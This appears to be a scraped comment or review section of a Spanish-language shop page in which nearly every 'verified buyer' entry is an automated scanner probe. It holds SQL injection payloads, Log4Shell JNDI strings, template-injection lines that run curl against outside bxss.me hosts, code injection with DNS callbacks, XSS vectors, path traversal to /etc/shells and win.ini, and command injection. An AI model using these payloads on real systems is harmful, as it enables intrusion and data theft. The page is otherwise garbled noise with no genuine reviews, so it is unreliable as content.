‘”><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitqewygrffhw6fc99${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
pHqghUme (comprador verificado) –
redirtest.acx?1
pHqghUme (comprador verificado) –
;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));
pHqghUme (comprador verificado) –
bxss.me/t/xss.html?%00
pHqghUme'”()&%gznz(9037) (comprador verificado) –
1
pHqghUme (comprador verificado) –
1CsBr2CJ4
pHqghUme (comprador verificado) –
-1 OR 5*5=25 —
pHqghUme (comprador verificado) –
1*if(now()=sysdate(),sleep(15),0)
pHqghUmeyigduM49 (comprador verificado) –
1
pHqghUme’ AND 2*3*8=6*8 AND ‘Dis2’=’Dis2 (comprador verificado) –
1
-1 OR 5*5=25 (comprador verificado) –
1
-1′) OR 5*5=25 — (comprador verificado) –
1
-1″ OR 5*5=25 — (comprador verificado) –
1
pHqghUme’||’ (comprador verificado) –
1
if(now()=sysdate(),sleep(15),0) (comprador verificado) –
1
pHqghUme0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z (comprador verificado) –
1
pHqghUme0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z (comprador verificado) –
1
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/ (comprador verificado) –
1
pHqghUme-1 waitfor delay ‘0:0:15’ — (comprador verificado) –
1
pHqghUmeWuFui1W0′; waitfor delay ‘0:0:15’ — (comprador verificado) –
1
pHqghUmeW0YH3Bcj’) OR 390=(SELECT 390 FROM PG_SLEEP(15))– (comprador verificado) –
1
pHqghUme1TZa2xbg’)) OR 79=(SELECT 79 FROM PG_SLEEP(15))– (comprador verificado) –
1
pHqghUme’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’ (comprador verificado) –
1
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual) (comprador verificado) –
1
response.write(9442461*9148612) (comprador verificado) –
555
1 (comprador verificado) –
12345′”\’\”);|]*{
”
1 –
555
‘”> (comprador verificado) –
555
1 (comprador verificado) –
555uznRpopl
1 (comprador verificado) –
-1′)) OR 5*5=25 —
1 (comprador verificado) –
555*if(now()=sysdate(),sleep(15),0)
1 (comprador verificado) –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
1 (comprador verificado) –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
1 (comprador verificado) –
555-1; waitfor delay ‘0:0:15’ —
1′”()&%TbIt(9446) (comprador verificado) –
555
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hithmykcccmyy10dfe.bxss.me”)}} (comprador verificado) –
555
19590783 (comprador verificado) –
555
bfg5981<s1﹥s2ʺs3ʹhjl5981 (comprador verificado) –
555
1 (comprador verificado) –
555-1 waitfor delay ‘0:0:15’ —
1}}”}}’}}1%>”%>’%> (comprador verificado) –
555
1 (comprador verificado) –
555IKGUdsoO’; waitfor delay ‘0:0:15’ —
1′”()&%h9ea(9170) (comprador verificado) –
555
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hithesmxsqyieb7f65.bxss.me”)}} (comprador verificado) –
555
1 (comprador verificado) –
555-1 OR 45=(SELECT 45 FROM PG_SLEEP(15))–
1 (comprador verificado) –
555-1) OR 735=(SELECT 735 FROM PG_SLEEP(15))–
1 (comprador verificado) –
555-1)) OR 244=(SELECT 244 FROM PG_SLEEP(15))–
1 (comprador verificado) –
555ddaHGbkL’ OR 155=(SELECT 155 FROM PG_SLEEP(15))–
1 (comprador verificado) –
555qud0lzal’) OR 740=(SELECT 740 FROM PG_SLEEP(15))–
1 (comprador verificado) –
555UIMWz7SB’)) OR 543=(SELECT 543 FROM PG_SLEEP(15))–
1 (comprador verificado) –
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1 (comprador verificado) –
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
1 (comprador verificado) –
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
1′”()&%xP1g(9505) (comprador verificado) –
555
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitbwprtdqzmpf7469.bxss.me”)}} (comprador verificado) –
555
‘”()&%xP1g(9916) (comprador verificado) –
555
1′”()&%r5s0(9561) (comprador verificado) –
555
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hittcawncruindb324.bxss.me”)}} (comprador verificado) –
555
19794953 (comprador verificado) –
555
bfg10985<s1﹥s2ʺs3ʹhjl10985 (comprador verificado) –
555
1}}”}}’}}1%>”%>’%> (comprador verificado) –
555
1′”()&%gqJb(9899) (comprador verificado) –
555
‘”()&%gqJb(9027) (comprador verificado) –
555
1′”()&%vRq3(9272) (comprador verificado) –
555
wrBEIRqXyqJLwvHS (comprador verificado) –
555
wrBEIRqXWKeQgQFh (comprador verificado) –
555
wrBEIRqX’ AND 2*3*8=6*8 AND ‘KOT4’=’KOT4 (comprador verificado) –
555
-1′)) OR 5*5=25 — (comprador verificado) –
555
wrBEIRqX’ AND 2*3*8=6*8 AND ‘vnsx’=’vnsx (comprador verificado) –
555
-1 OR 5*5=25 (comprador verificado) –
555
wrBEIRqX’||’ (comprador verificado) –
555
wrBEIRqX-1 waitfor delay ‘0:0:15’ — (comprador verificado) –
555
wrBEIRqX (comprador verificado) –
555Me3znbcR
wrBEIRqX (comprador verificado) –
555wI3Xq3Zt
wrBEIRqX (comprador verificado) –
555*433*428*0
wrBEIRqX (comprador verificado) –
-1″ OR 5*5=25 —
wrBEIRqX (comprador verificado) –
555*918*913*0
wrBEIRqXBuRBtQog (comprador verificado) –
555
wrBEIRqX (comprador verificado) –
555OGcL7HqA’; waitfor delay ‘0:0:15’ —
wrBEIRqX (comprador verificado) –
555-1 OR 339=(SELECT 339 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555-1) OR 453=(SELECT 453 FROM PG_SLEEP(15))–
wrBEIRqX0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z (comprador verificado) –
555
wrBEIRqX (comprador verificado) –
555-1)) OR 607=(SELECT 607 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555G9uA4z0D’ OR 894=(SELECT 894 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
5553i2X0Vvs’)) OR 224=(SELECT 224 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555xLpwWhWQ’)) OR 335=(SELECT 335 FROM PG_SLEEP(15))–
wrBEIRqXWfOlZE4F’; waitfor delay ‘0:0:15’ — (comprador verificado) –
555
wrBEIRqXCSdgiN4q’ OR 96=(SELECT 96 FROM PG_SLEEP(15))– (comprador verificado) –
555
wrBEIRqXR1qrt9Jc’) OR 713=(SELECT 713 FROM PG_SLEEP(15))– (comprador verificado) –
555
wrBEIRqX (comprador verificado) –
555%2527%2522\’\”
wrBEIRqXXH8yq7PU’)) OR 29=(SELECT 29 FROM PG_SLEEP(15))– (comprador verificado) –
555
wrBEIRqX’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’ (comprador verificado) –
555
wrBEIRqX'” (comprador verificado) –
555
wrBEIRqX (comprador verificado) –
555H7Y2B3Hq
wrBEIRqX (comprador verificado) –
555*932*927*0
wrBEIRqX (comprador verificado) –
-1 OR 5*5=25
wrBEIRqX (comprador verificado) –
555ROdfE0av’; waitfor delay ‘0:0:15’ —
wrBEIRqX (comprador verificado) –
555-1 OR 185=(SELECT 185 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555-1) OR 990=(SELECT 990 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555-1)) OR 645=(SELECT 645 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555V3zHDmjs’ OR 95=(SELECT 95 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555u4J6is3J’) OR 788=(SELECT 788 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
555YKtXsxPt’)) OR 308=(SELECT 308 FROM PG_SLEEP(15))–
wrBEIRqX (comprador verificado) –
@@0PgGH
wrBEIRqXZ5Icbm9B (comprador verificado) –
555
wrBEIRqX’ AND 2*3*8=6*8 AND ‘5Pjj’=’5Pjj (comprador verificado) –
555
wrBEIRqX0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z (comprador verificado) –
555
wrBEIRqX10lMiq5E’; waitfor delay ‘0:0:15’ — (comprador verificado) –
555
wrBEIRqXesvmMfNk’ OR 236=(SELECT 236 FROM PG_SLEEP(15))– (comprador verificado) –
555
wrBEIRqXlDe94W8c’) OR 408=(SELECT 408 FROM PG_SLEEP(15))– (comprador verificado) –
555
wrBEIRqXxS7HlAr8′)) OR 575=(SELECT 575 FROM PG_SLEEP(15))– (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
1PR6C5N60
zFPWdwPk (comprador verificado) –
${10000316+10000450}
redirtest.acx?zFPWdwPk (comprador verificado) –
555
‘”> (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
‘+str(__import__(“time”).sleep(9))+__import__(“socket”).gethostbyname(“hitedirlcuqppdde86.”+”bxss.me”)+’
zFPWdwPk (comprador verificado) –
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
zFPWdwPk (comprador verificado) –
555′”()&%4iEB(9219)
zFPWdwPk (comprador verificado) –
555′”()&%7p08(9456)
zFPWdwPk (comprador verificado) –
‘”()&%7p08(9242)
zFPWdwPk (comprador verificado) –
5559157396
zFPWdwPk (comprador verificado) –
bfg10388<s1﹥s2ʺs3ʹhjl10388
zFPWdwPk (comprador verificado) –
bfgx3284z1z2abcxhjl3284
zFPWdwPk (comprador verificado) –
<th:t="${dfb}#foreach
zFPWdwPk (comprador verificado) –
dfb{{98991*97996}}xca
zFPWdwPk (comprador verificado) –
dfb[[${98991*97996}]]xca
zFPWdwPk (comprador verificado) –
dfb__${98991*97996}__::.x
zFPWdwPk (comprador verificado) –
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
zFPWdwPk (comprador verificado) –
5557p08(9345)
zFPWdwPk (comprador verificado) –
555KVTJ2[!+!]
zFPWdwPk (comprador verificado) –
5557p08(9776)
zFPWdwPk (comprador verificado) –
5557p08(9432)9432
zFPWdwPk (comprador verificado) –
555<ScRIpT>7p08(9244)</sCrIpT>
zFPWdwPk (comprador verificado) –
5557p08(9867)
zFPWdwPk (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
555′”()&%XFZB(9009)
zFPWdwPk (comprador verificado) –
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitfvdsumnere0fe57.bxss.me”)}}
zFPWdwPk (comprador verificado) –
5559026388
zFPWdwPk (comprador verificado) –
bfg7647<s1﹥s2ʺs3ʹhjl7647
zFPWdwPk (comprador verificado) –
bfgx10743z1z2abcxhjl10743
zFPWdwPk (comprador verificado) –
zFPWdwPk (comprador verificado) –
<th:t="${dfb}#foreach
zFPWdwPk (comprador verificado) –
1}}”}}’}}1%>”%>’%>
zFPWdwPk (comprador verificado) –
555′”()&%ODSz(9459)
zFPWdwPk (comprador verificado) –
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitzwnddeyzwtd7179.bxss.me”)}}
zFPWdwPk (comprador verificado) –
‘”()&%ODSz(9319)
zFPWdwPk (comprador verificado) –
5559896838
zFPWdwPk (comprador verificado) –
bfg7176<s1﹥s2ʺs3ʹhjl7176
zFPWdwPk (comprador verificado) –
bfgx6993z1z2abcxhjl6993
zFPWdwPk (comprador verificado) –
zFPWdwPk (comprador verificado) –
<th:t="${dfb}#foreach
zFPWdwPk (comprador verificado) –
1}}”}}’}}1%>”%>’%>
zFPWdwPk (comprador verificado) –
555′”()&%PKzb(9655)
zFPWdwPk (comprador verificado) –
‘”()&%PKzb(9754)
zFPWdwPk (comprador verificado) –
5559902946
zFPWdwPk (comprador verificado) –
bfg7867<s1﹥s2ʺs3ʹhjl7867
zFPWdwPk (comprador verificado) –
bfgx8491z1z2abcxhjl8491
zFPWdwPk (comprador verificado) –
zFPWdwPk (comprador verificado) –
<th:t="${dfb}#foreach
zFPWdwPk (comprador verificado) –
1}}”}}’}}1%>”%>’%>
zFPWdwPk (comprador verificado) –
555′”()&%mn7y(9867)
zFPWdwPk (comprador verificado) –
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitdjeejvibxkae853.bxss.me”)}}
zFPWdwPk (comprador verificado) –
5559938157
zFPWdwPk (comprador verificado) –
bfgx9025z1z2abcxhjl9025
zFPWdwPk (comprador verificado) –
zFPWdwPk (comprador verificado) –
<th:t="${dfb}#foreach
zFPWdwPk (comprador verificado) –
1}}”}}’}}1%>”%>’%>
zFPWdwPk (comprador verificado) –
555′”()&%wsZP(9679)
zFPWdwPk (comprador verificado) –
555′”()&%lggi(9845)
zFPWdwPk (comprador verificado) –
5559287432
zFPWdwPk (comprador verificado) –
bfg2040<s1﹥s2ʺs3ʹhjl2040
zFPWdwPk (comprador verificado) –
1}}”}}’}}1%>”%>’%>
${j${::-n}di:dns${::-:}${::-/}${::-/}hitzwmwoaafvw21ab1${::-.}bxss.me}zzzz${url:UTF-8:http://hitychzuxpkmv.bxss.me/} (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
555javascript:/*/-/[`*/[]/[(new(Image)).src=(/;/+/bxss.me/bsp?u=197238&r=42-12819&h=42-b5120-2&/).replace(/.;/g,[])]//’src=>
${10000022+10000036} (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
zFPWdwPk”||sleep(27*1000)*jbzntw||” (comprador verificado) –
555
str(__import__(‘time’).sleep(9))+__import__(‘socket’).gethostbyname(‘hitvxslvqlnkq14813.’+’bxss.me’) (comprador verificado) –
555
http://bxss.me/t/rfi.php? (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
wp-comments-post.php
zFPWdwPkME24AovY (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
xfs.bxss.me
zFPWdwPk’ AND 2*3*8=6*8 AND ‘ZkfX’=’ZkfX (comprador verificado) –
555
-1′ OR 5*5=25 — (comprador verificado) –
555
-1′) OR 5*5=25 — (comprador verificado) –
555
-1″ OR 5*5=25 — (comprador verificado) –
555
zFPWdwPk0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z (comprador verificado) –
555
zFPWdwPk0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z (comprador verificado) –
555
zFPWdwPk-1 waitfor delay ‘0:0:15’ — (comprador verificado) –
555
zFPWdwPkLwCG3W1M’; waitfor delay ‘0:0:15’ — (comprador verificado) –
555
zFPWdwPkjitsbkXF’ OR 235=(SELECT 235 FROM PG_SLEEP(15))– (comprador verificado) –
555
zFPWdwPkuo2Gh42b’) OR 113=(SELECT 113 FROM PG_SLEEP(15))– (comprador verificado) –
555
zFPWdwPk’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’ (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
555tEqWrZFX
zFPWdwPk (comprador verificado) –
555*1
zFPWdwPk (comprador verificado) –
-1 OR 5*5=25
zFPWdwPk (comprador verificado) –
-1″ OR 5*5=25 —
zFPWdwPk (comprador verificado) –
555′”()&%JkfE(9154)
zFPWdwPk (comprador verificado) –
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
zFPWdwPk (comprador verificado) –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
zFPWdwPk (comprador verificado) –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
zFPWdwPk (comprador verificado) –
555-1 waitfor delay ‘0:0:15’ —
zFPWdwPk (comprador verificado) –
555h2oJo3rE’; waitfor delay ‘0:0:15’ —
zFPWdwPk (comprador verificado) –
555-1 OR 642=(SELECT 642 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555′”()&%q2CC(9869)
zFPWdwPk (comprador verificado) –
5557l6ji8C8′) OR 706=(SELECT 706 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555bQdpLDpX’)) OR 167=(SELECT 167 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555′”()&%SFBn(9881)
zFPWdwPk (comprador verificado) –
‘”()&%SFBn(9615)
zFPWdwPk (comprador verificado) –
5559183415
zFPWdwPk (comprador verificado) –
zFPWdwPk (comprador verificado) –
<th:t="${dfb}#foreach
zFPWdwPk (comprador verificado) –
1}}”}}’}}1%>”%>’%>
zFPWdwPk (comprador verificado) –
555′”()&%T3Uv(9606)
zFPWdwPk (comprador verificado) –
‘”()&%T3Uv(9829)
zFPWdwPk (comprador verificado) –
555SFBn(9843)
zFPWdwPk (comprador verificado) –
555TJX76[!+!]
zFPWdwPk (comprador verificado) –
555′”()&%Eqb6(9955)
zFPWdwPk (comprador verificado) –
‘”()&%Eqb6(9594)
zFPWdwPk (comprador verificado) –
555′”()&%S23m(9142)
../../../../../../../../../../../../../../windows/win.ini (comprador verificado) –
555
/etc/shells (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
‘”()
str(__import__(‘time’).sleep(9))+__import__(‘socket’).gethostbyname(‘hittfqvqcylshf7e2d.’+’bxss.me’) (comprador verificado) –
555
zFPWdwPk'” (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitmesoeuzqdee54b4.bxss.me”)}}
zFPWdwPk (comprador verificado) –
55538ivwZ5e
zFPWdwPk (comprador verificado) –
555*690*685*0
zFPWdwPk (comprador verificado) –
555*if(now()=sysdate(),sleep(15),0)
zFPWdwPk (comprador verificado) –
555-1; waitfor delay ‘0:0:15’ —
zFPWdwPk (comprador verificado) –
555-1); waitfor delay ‘0:0:15’ —
zFPWdwPk (comprador verificado) –
555cGdwad5K’; waitfor delay ‘0:0:15’ —
zFPWdwPk (comprador verificado) –
555K8MLoNI4′ OR 419=(SELECT 419 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555MoXZ3CQW’) OR 466=(SELECT 466 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555wAW02qqD’)) OR 871=(SELECT 871 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
zFPWdwPk (comprador verificado) –
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
zFPWdwPk (comprador verificado) –
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
${j${::-n}di:dns${::-:}${::-/}${::-/}hittkegghhwskb7c15${::-.}bxss.me}zzzz${url:UTF-8:http://hitpkizxfbvoq.bxss.me/} (comprador verificado) –
555
AGDHvML4 (comprador verificado) –
555
../../../../../../../../../../../../../../etc/shells (comprador verificado) –
555
zFPWdwPkLO8kNK11 (comprador verificado) –
555
zFPWdwPk’&&sleep(27*1000)*rwyeun&&’ (comprador verificado) –
555
‘.gethostbyname(lc(‘hitmo’.’hxoxeyqfe083e.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(109).chr(68).chr(100).chr(85).’ (comprador verificado) –
555
str(__import__(‘time’).sleep(9))+__import__(‘socket’).gethostbyname(‘hitzmdwkbonsr43d12.’+’bxss.me’) (comprador verificado) –
555
HttP://bxss.me/t/xss.html? (comprador verificado) –
555
“+”A”.concat(70-3).concat(22*4).concat(102).concat(82).concat(101).concat(80)+(require”socket” Socket.gethostbyname(“hitdr”+”retfqskc5476d.bxss.me.”)[3].to_s)+” (comprador verificado) –
555
‘”> (comprador verificado) –
555
zFPWdwPkg9ljMObR’; waitfor delay ‘0:0:15’ — (comprador verificado) –
555
zFPWdwPkG57zsgwG’ OR 866=(SELECT 866 FROM PG_SLEEP(15))– (comprador verificado) –
555
zFPWdwPkFcQPjjYG’) OR 188=(SELECT 188 FROM PG_SLEEP(15))– (comprador verificado) –
555
zFPWdwPkApBTd7hs’)) OR 268=(SELECT 268 FROM PG_SLEEP(15))– (comprador verificado) –
555
zFPWdwPk (comprador verificado) –
555TMRQ85EJ
zFPWdwPk (comprador verificado) –
555*828*823*0
zFPWdwPk (comprador verificado) –
-1 OR 5*5=25 —
zFPWdwPk (comprador verificado) –
555-1 OR 504=(SELECT 504 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555-1) OR 518=(SELECT 518 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555-1)) OR 973=(SELECT 973 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555222EibgO’) OR 887=(SELECT 887 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555GwGC0IBt’)) OR 946=(SELECT 946 FROM PG_SLEEP(15))–
zFPWdwPk (comprador verificado) –
555′”
${j${::-n}di:dns${::-:}${::-/}${::-/}hitrygvtxnvzy57f58${::-.}bxss.me}zzzz${url:UTF-8:http://hitrneckbrvlp.bxss.me/} (comprador verificado) –
555
pHqghUme (comprador verificado) –
echo svksdu$()\ xzkzqm\nz^xyu||a #’ &echo svksdu$()\ xzkzqm\nz^xyu||a #|” &echo svksdu$()\ xzkzqm\nz^xyu||a #
1GeqJ4wn (comprador verificado) –
555
) (comprador verificado) –
555
pHqghUme (comprador verificado) –
‘.gethostbyname(lc(‘hitto’.’cajnofxy4ae46.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(109).chr(76).chr(114).chr(85).’
“+str(__import__(‘time’).sleep(9))+__import__(‘socket’).gethostbyname(‘hitvajhymqnkt4a586.’+’bxss.me’)+” (comprador verificado) –
555
“+”A”.concat(70-3).concat(22*4).concat(106).concat(89).concat(98).concat(76)+(require”socket” Socket.gethostbyname(“hitel”+”nlnkkznjde745.bxss.me.”)[3].to_s)+” (comprador verificado) –
555
‘”> (comprador verificado) –
555
pHqghUme (comprador verificado) –
555′”()&%dGkG(9427)
UZJglwlz (comprador verificado) –
555
UZJglwlz7Rtg29pw (comprador verificado) –
555
UZJglwlz’ AND 2*3*8=6*8 AND ‘DhKw’=’DhKw (comprador verificado) –
555
UZJglwlz’||’ (comprador verificado) –
555
UZJglwlzC4RgGo3p (comprador verificado) –
555
UZJglwlz’ AND 2*3*8=6*8 AND ‘8fCn’=’8fCn (comprador verificado) –
555
UZJglwlz’|||’ (comprador verificado) –
555
UZJglwlz0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z (comprador verificado) –
555
UZJglwlz0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z (comprador verificado) –
555
UZJglwlz'” (comprador verificado) –
555
UZJglwlz (comprador verificado) –
555DFWedO8o
UZJglwlz (comprador verificado) –
555*1
UZJglwlz (comprador verificado) –
555*764*759*0
UZJglwlz (comprador verificado) –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
UZJglwlz (comprador verificado) –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
UZJglwlz (comprador verificado) –
555-1; waitfor delay ‘0:0:15’ —
UZJglwlz (comprador verificado) –
555-1); waitfor delay ‘0:0:15’ —
UZJglwlz (comprador verificado) –
555-1 waitfor delay ‘0:0:15’ —
UZJglwlz (comprador verificado) –
5554u8RcBs8′; waitfor delay ‘0:0:15’ —
UZJglwlz (comprador verificado) –
555-1 OR 757=(SELECT 757 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555-1) OR 33=(SELECT 33 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555-1)) OR 557=(SELECT 557 FROM PG_SLEEP(15))–
UZJglwlzF3Nsqtb3 (comprador verificado) –
555
UZJglwlz (comprador verificado) –
555TprqmgQr’ OR 137=(SELECT 137 FROM PG_SLEEP(15))–
-1 OR 5*5=25 — (comprador verificado) –
555
UZJglwlz (comprador verificado) –
555MlY9h3Wy’) OR 799=(SELECT 799 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555E1vcQLi6′)) OR 523=(SELECT 523 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
UZJglwlz (comprador verificado) –
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
UZJglwlz (comprador verificado) –
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
UZJglwlz-1 waitfor delay ‘0:0:15’ — (comprador verificado) –
555
UZJglwlzBzsHTIX6′; waitfor delay ‘0:0:15’ — (comprador verificado) –
555
UZJglwlzgC8KbIWi’ OR 911=(SELECT 911 FROM PG_SLEEP(15))– (comprador verificado) –
555
UZJglwlz9VDQ4e9V’) OR 634=(SELECT 634 FROM PG_SLEEP(15))– (comprador verificado) –
555
UZJglwlzv00LR70h’)) OR 456=(SELECT 456 FROM PG_SLEEP(15))– (comprador verificado) –
555
UZJglwlz’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’ (comprador verificado) –
555
UZJglwlz (comprador verificado) –
5555Q7rrzdu
UZJglwlz (comprador verificado) –
555*863*858*0
UZJglwlz (comprador verificado) –
-1′)) OR 5*5=25 —
UZJglwlz (comprador verificado) –
555*if(now()=sysdate(),sleep(15),0)
UZJglwlz (comprador verificado) –
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
UZJglwlz (comprador verificado) –
555hvCQv6GA’; waitfor delay ‘0:0:15’ —
UZJglwlz (comprador verificado) –
555-1 OR 597=(SELECT 597 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555-1) OR 158=(SELECT 158 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555-1)) OR 254=(SELECT 254 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555xgTSYU6g’ OR 791=(SELECT 791 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555JpVo07gl’) OR 206=(SELECT 206 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555ZO4Go8yb’)) OR 110=(SELECT 110 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555′”
UZJglwlz0hHPvOdX (comprador verificado) –
555
UZJglwlz’ AND 2*3*8=6*8 AND ‘BtB8’=’BtB8 (comprador verificado) –
555
UZJglwlz0vFsW6AI’; waitfor delay ‘0:0:15’ — (comprador verificado) –
555
UZJglwlzSvO0PUqT’ OR 584=(SELECT 584 FROM PG_SLEEP(15))– (comprador verificado) –
555
UZJglwlzQhac2XNl’) OR 793=(SELECT 793 FROM PG_SLEEP(15))– (comprador verificado) –
555
UZJglwlzWZrwk463′)) OR 306=(SELECT 306 FROM PG_SLEEP(15))– (comprador verificado) –
555
UZJglwlz (comprador verificado) –
5550u40cNnJ
UZJglwlz (comprador verificado) –
555*620*615*0
UZJglwlz (comprador verificado) –
-1 OR 5*5=25
UZJglwlz (comprador verificado) –
5552vdkz7h4′; waitfor delay ‘0:0:15’ —
UZJglwlz (comprador verificado) –
555-1 OR 738=(SELECT 738 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555-1) OR 611=(SELECT 611 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555-1)) OR 817=(SELECT 817 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555zr4yKuEZ’ OR 710=(SELECT 710 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555yDCujoqR’) OR 59=(SELECT 59 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555s542S8MW’)) OR 949=(SELECT 949 FROM PG_SLEEP(15))–
UZJglwlz (comprador verificado) –
555%2527%2522\’\”
DExWtSbs (comprador verificado) –
555
DExWtSbss8FoOoLg (comprador verificado) –
555
DExWtSbs’||’ (comprador verificado) –
555
DExWtSbs'” (comprador verificado) –
555
DExWtSbs (comprador verificado) –
5556APkL5N1
DExWtSbs (comprador verificado) –
555*1
DExWtSbs (comprador verificado) –
555*if(now()=sysdate(),sleep(15),0)
DExWtSbs (comprador verificado) –
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
DExWtSbs (comprador verificado) –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
DExWtSbs (comprador verificado) –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
DExWtSbs (comprador verificado) –
555-1; waitfor delay ‘0:0:15’ —
DExWtSbs (comprador verificado) –
555-1); waitfor delay ‘0:0:15’ —
DExWtSbs (comprador verificado) –
555-1 waitfor delay ‘0:0:15’ —
